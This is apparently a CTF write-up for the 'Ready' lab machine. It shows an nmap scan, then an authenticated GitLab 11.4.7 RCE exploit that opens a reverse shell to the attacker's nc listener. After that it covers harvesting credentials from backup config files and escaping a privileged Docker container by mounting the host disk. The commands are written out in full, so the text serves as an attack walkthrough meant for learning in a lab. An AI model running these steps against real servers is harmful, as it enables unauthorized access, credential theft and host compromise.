Ready
Enumeration
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$ sudo nmap -sC -sV -oA nmap/ready 10.10.10.220
Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-04 23:50 EDT
Nmap scan report for 10.10.10.220
Host is up (0.066s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
| 256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_ 256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
5080/tcp open http nginx
| http-robots.txt: 53 disallowed entries (15 shown)
| / /autocomplete/users /search /api /admin /profile
| /dashboard /projects/new /groups/new /groups/*/edit /users /help
|_/s/ /snippets/new /snippets/*/edit
| http-title: Sign in \xC2\xB7 GitLab
|_Requested resource was http://10.10.10.220:5080/users/sign_in
|_http-trane-info: Problem with XML parsing of /evox/about
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.84 seconds
GitLab
After completing the Laboratory Box, I knew you could checkout the /help
page to get a version number of GitLab.
Huh, I guess you have to create a user first.
After creating a user y00ser:password123
, I login and return to the /help
page to see a GitLab Community Edition version number 11.4.7
Foothold
Using searchsploit to see if there are any available exploits for GitLab shows some promise. There appears to be two python scripts that can give us remote code execution (RCE).
1
2
3
4
5
6
7
8
$ searchsploit gitlab
---------------------------------------------------- ---------------------------------
Exploit Title | Path
---------------------------------------------------- ---------------------------------
---[snip]---
GitLab 11.4.7 - RCE (Authenticated) (2) | ruby/webapps/49334.py
GitLab 11.4.7 - Remote Code Execution (Authenticate | ruby/webapps/49257.py
---[snip]---
I copy one of the scripts to my current directory with searchsploit -m ruby/webapps/49334.py
.
I use the scripts -h
flag to see what arguments are needed:
1
2
3
4
5
6
7
8
9
10
11
12
$ python3 49334.py -h
usage: 49334.py [-h] -u U -p P -g G -l L -P P
GitLab 11.4.7 RCE
optional arguments:
-h, --help show this help message and exit
-u U GitLab Username/Email
-p P Gitlab Password
-g G Gitlab URL (without port)
-l L reverse shell ip
-P P reverse shell port
So I supply the script with the needed arguments, run nc -lvnp 9001
on another shell tab, and execute the script:
1
2
3
4
5
$ python3 49334.py -u y00ser -p password123 -g http://10.10.10.220 -l 10.10.14.2 -P 9001
[+] authenticity_token: UURyorKkxmg8KQUkog7skIQdeZjNQv4qATa83Enyb7VaC+97Op4Bcz4zX/+NLei82VB96whWqpaXApdGIMlQGw==
[+] Creating project with random name: project4017
[+] Running Exploit
[+] Exploit completed successfully!
And on my nc
tab, I see the connection, but no output. I run some simple commands and see if python is installed on the system. Then I create a better looking shell.
1
2
3
4
5
6
7
8
9
10
$ nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.10.14.2] from (UNKNOWN) [10.10.10.220] 42046
whoami
git
which python
which python3
/opt/gitlab/embedded/bin/python3
/opt/gitlab/embedded/bin/python3 -c 'import pty; pty.spawn("/bin/bash")'
git@gitlab:~/gitlab-rails/working$
I tried make the shell more stable by backgrounding the session, running stty raw -echo
and returning to the process, but my entire bash screen would freeze so I abandoned trying to get it to work. So I guess I won’t have tab completion. That’s okay.
Looking Back: It might’ve worked if I ran stty raw -echo; fg
.
User
Initally I believed this was going to be similar to Laboratory, so I used what I had learned and made my user an admin. Using gitlab-rails console
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
gitlab-rails console
-------------------------------------------------------------------------------------
GitLab: 11.4.7 (98f8423)
GitLab Shell: 8.3.3
postgresql: 9.6.8
-------------------------------------------------------------------------------------
Loading production environment (Rails 4.2.10)
irb(main):001:0> user = User.find_by(username: 'y00ser')
user = User.find_by(username: 'y00ser')
=> #<User id:7 @y00ser>
irb(main):002:0> user.admin = true
user.admin = true
=> true
irb(main):003:0> user.save!
user.save!
=> true
Also while I’m here, I’d like to check out the user dude
who I saw in the /etc/passwd
file. Listing out his attributes, I find a password hash:
1
2
3
4
5
6
7
8
9
irb(main):006:0> u = User.find(2)
u = User.find(2)
=> #<User id:2 @dude>
irb(main):007:0> pp u.attributes
pp u.attributes
{"id"=>2,
"email"=>"dude@ready.com",
"encrypted_password"=>
"$2a$10$NOMTXhO31vqykicMa6zj3O.F5PIyI9q/S4c.v22eMSfXNDdtpI2Mm",
It appears it’s a bcrypt password so I don’t think I’m going to be able to decrypt it anytime soon.
I logged back into GitLab and explored the users, projects, repositories in the admin panel to find anything of value, but didn’t find anything. So this doesn’t look like it’ll be exactly like Laboratory.
Checking out the home directory, there is only one user dude
. Inside is the user flag:
1
2
3
4
5
6
7
8
9
10
11
git@gitlab:~/gitlab-rails/working$ cd /home
cd /home
git@gitlab:/home$ ls
ls
dude
git@gitlab:/home$ cd dude
cd dude
git@gitlab:/home/dude$ ls
ls
user.txt
git@gitlab:/home/dude$
Viewing the contents of the root directory /
gives us a clue that we are inside of a docker container
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
git@gitlab:/$ ls -al
ls -al
total 104
drwxr-xr-x 1 root root 4096 Dec 1 12:41 .
drwxr-xr-x 1 root root 4096 Dec 1 12:41 ..
-rwxr-xr-x 1 root root 0 Dec 1 12:41 .dockerenv
-rw-r--r-- 1 root root 185 Nov 20 2018 RELEASE
drwxr-xr-x 2 root root 4096 Nov 20 2018 assets
drwxr-xr-x 1 root root 4096 Dec 1 15:40 bin
drwxr-xr-x 2 root root 4096 Apr 12 2016 boot
drwxr-xr-x 13 root root 3760 May 4 18:16 dev
drwxr-xr-x 1 root root 4096 Dec 2 10:45 etc
drwxr-xr-x 1 root root 4096 Dec 2 10:45 home
drwxr-xr-x 1 root root 4096 Sep 13 2015 lib
drwxr-xr-x 2 root root 4096 Nov 13 2018 lib64
drwxr-xr-x 2 root root 4096 Nov 13 2018 media
drwxr-xr-x 1 root root 4096 May 5 14:08 mnt
drwxr-xr-x 1 root root 4096 Dec 1 16:23 opt
dr-xr-xr-x 401 root root 0 May 4 18:16 proc
drwx------ 1 root root 4096 Dec 13 15:06 root
-rw-r--r-- 1 root root 23 Jun 29 2020 root_pass
drwxr-xr-x 1 root root 4096 Dec 13 15:07 run
drwxr-xr-x 1 root root 4096 Nov 19 2018 sbin
drwxr-xr-x 2 root root 4096 Nov 13 2018 srv
dr-xr-xr-x 13 root root 0 May 4 18:16 sys
drwxrwxrwt 1 root root 4096 May 5 14:34 tmp
drwxr-xr-x 1 root root 4096 Nov 13 2018 usr
drwxr-xr-x 1 root root 4096 Nov 13 2018 var
git@gitlab:/$
We see a .dockerenv
file which tips us off. There’s also a very interesting file called root_pass
inside of the root directory:
1
2
3
git@gitlab:/$ cat root_pass
cat root_pass
YG65407Bjqvv9A0a8Tm_7w
I wonder if we can use that to switch user su
to root:
1
2
3
4
5
6
git@gitlab:/$ su - root
su - root
Password: YG65407Bjqvv9A0a8Tm_7w
su: Authentication failure
git@gitlab:/$
Nope, I guess that won’t work. This is the point I go down several rabbit holes, but ultimately this comes down to knowing what’s normal and what isn’t normal on a linux filesystem. I used LinPEAS to enumerate for me and I glanced over the directory I should’ve looked at. We can see a lot of our stuff is in /var/opt/gitlab
but there is another directory we see a few things in too, which is /opt/gitlab
. Normally you don’t see a lot of things in /opt
. /opt
is used for “the installation of add-on application software packages.” But if you were to check out your /opt
directory on your attack box now, you probably wouldn’t see but maybe one or two items in there. Try running echo $PATH
and you probably won’t see /opt
in there either. But remember when I ran which python3
? The python3
binary was in /opt/gitlab/embedded/bin
. In fact if I were to run echo $PATH
on this box I would see:
1
2
3
git@gitlab:/$ echo $PATH
echo $PATH
/opt/gitlab/embedded/lib/ruby/gems/2.4.0/bin:/opt/gitlab/bin:/opt/gitlab/embedded/bin:/bin:/usr/bin
There seems to be some important stuff in /opt
. Of course this is hindsight now, but it shows the importance of knowing what you should normally see on a box. So let’s see what is in /opt
:
1
2
3
4
5
6
ls -al /opt
total 24
drwxr-xr-x 1 root root 4096 Dec 1 16:23 .
drwxr-xr-x 1 root root 4096 Dec 1 12:41 ..
drwxr-xr-x 2 root root 4096 Dec 7 09:25 backup
drwxr-xr-x 1 root root 4096 Dec 1 12:41 gitlab
Backups have a tendency to show some goodies. Let’s see if there is a password
inside any of these files. I start broad and work my way down:
First I grep for password
across all files in the directory:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
git@gitlab:/opt/backup$ grep 'password' *
grep 'password' *
docker-compose.yml: gitlab_rails['initial_root_password']=File.read('/root_pass')
gitlab.rb:#### Email account password
gitlab.rb:# gitlab_rails['incoming_email_password'] = "[REDACTED]"
gitlab.rb:# password: '_the_password_of_the_bind_user'
gitlab.rb:# password: '_the_password_of_the_bind_user'
gitlab.rb:# '/users/password',
gitlab.rb:#### Change the initial default admin password and shared runner registration tokens.
gitlab.rb:# gitlab_rails['initial_root_password'] = "password"
gitlab.rb:# gitlab_rails['db_password'] = nil
gitlab.rb:# gitlab_rails['redis_password'] = nil
gitlab.rb:gitlab_rails['smtp_password'] = "wW59U!ZKMbG9+*#h"
gitlab.rb:# gitlab_shell['http_settings'] = { user: 'username', password: 'password', ca_file: '/etc/ssl/cert.pem', ca_path: '/etc/pki/tls/certs', self_signed_cert: false}
gitlab.rb:##! `SQL_USER_PASSWORD_HASH` can be generated using the command `gitlab-ctl pg-password-md5 gitlab`
gitlab.rb:# postgresql['sql_user_password'] = 'SQL_USER_PASSWORD_HASH'
gitlab.rb:# postgresql['sql_replication_password'] = "md5 hash of postgresql password" # You can generate with `gitlab-ctl pg-password-md5 <dbuser>`
gitlab.rb:# redis['password'] = 'redis-password-goes-here'
gitlab.rb:####! **Master password should have the same value defined in
gitlab.rb:####! redis['password'] to enable the instance to transition to/from
gitlab.rb:# redis['master_password'] = 'redis-password-goes-here'
gitlab.rb:# geo_secondary['db_password'] = nil
gitlab.rb:# geo_postgresql['pgbouncer_user_password'] = nil
gitlab.rb:# password: PASSWORD
gitlab.rb:###! generate this with `echo -n '$password + $username' | md5sum`
gitlab.rb:# pgbouncer['auth_query'] = 'SELECT username, password FROM public.pg_shadow_lookup($1)'
gitlab.rb:# password: MD5_PASSWORD_HASH
gitlab.rb:# postgresql['pgbouncer_user_password'] = nil
git@gitlab:/opt/backup$
docker-compose.yml
references the root_pass
file in the root directory, but it also looks like gitlab.rb
has quite a few hits on password as well.
Now we drill down to find password
in gitlab.rb
, but we want to remove results that start with a #
since those are comments in the file and don’t mean anything to us:
1
2
3
git@gitlab:/opt/backup$ grep 'password' gitlab.rb | grep -v '^#'
grep 'password' gitlab.rb | grep -v '^#'
gitlab_rails['smtp_password'] = "wW59U!ZKMbG9+*#h"
That shows us something interesting. Perhaps we can use this to get docker root:
1
2
3
4
5
git@gitlab:/opt/backup$ su - root
su - root
Password: wW59U!ZKMbG9+*#h
root@gitlab:~#
Success!
Root
Admittedly, I started looking at breakout attempts before I privesc’d to docker root. When reviewing the LinePEAS output, it showed caps that were enabled. Most of what I found on the web would reference a pretty simple way to gain root on the host box with certain capabilities enabled, which in this case looked like everything. I eventually fell on this hacktricks which, with SYS_ADMIN capability enabled, could allow the docker container to “mount the host disk and access it freely.”
Oh and if you want to see what capabilites are enabled for you, just run capsh --print
1
2
3
4
5
6
7
8
9
10
11
12
root@gitlab:~# capsh --print
capsh --print
Current: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,37+eip
Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,37
Securebits: 00/0x0/1'b0
secure-noroot: no (unlocked)
secure-no-suid-fixup: no (unlocked)
secure-keep-caps: no (unlocked)
uid=0(root)
gid=0(root)
groups=0(root)
root@gitlab:~#
Following along wih the instructions from the site:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
root@gitlab:/# fdisk -l
---[snip]---
Device Start End Sectors Size Type
/dev/sda1 2048 4095 2048 1M BIOS boot
/dev/sda2 4096 37746687 37742592 18G Linux filesystem
/dev/sda3 37746688 41940991 4194304 2G Linux swap
root@gitlab:/# mkdir /mnt/hole
mkdir /mnt/hole
root@gitlab:/# cd /mnt
cd /mnt
root@gitlab:/mnt# ls
ls
hole
root@gitlab:/mnt# mount /dev/sda2 hole
mount /dev/sda2 hole
root@gitlab:/mnt# cd hole
cd hole
root@gitlab:/mnt/hole# ls
ls
bin cdrom etc lib lib64 lost+found mnt proc run snap sys usr
boot dev home lib32 libx32 media opt root sbin srv tmp var
root@gitlab:/mnt/hole# chroot ./ bash
chroot ./ bash
root@gitlab:/# whoami
whoami
root
root@gitlab:/# cd /root
cd /root
root@gitlab:~# ls
ls
docker-gitlab ready-channel root.txt snap
root@gitlab:~#
And there it is. That’s Ready.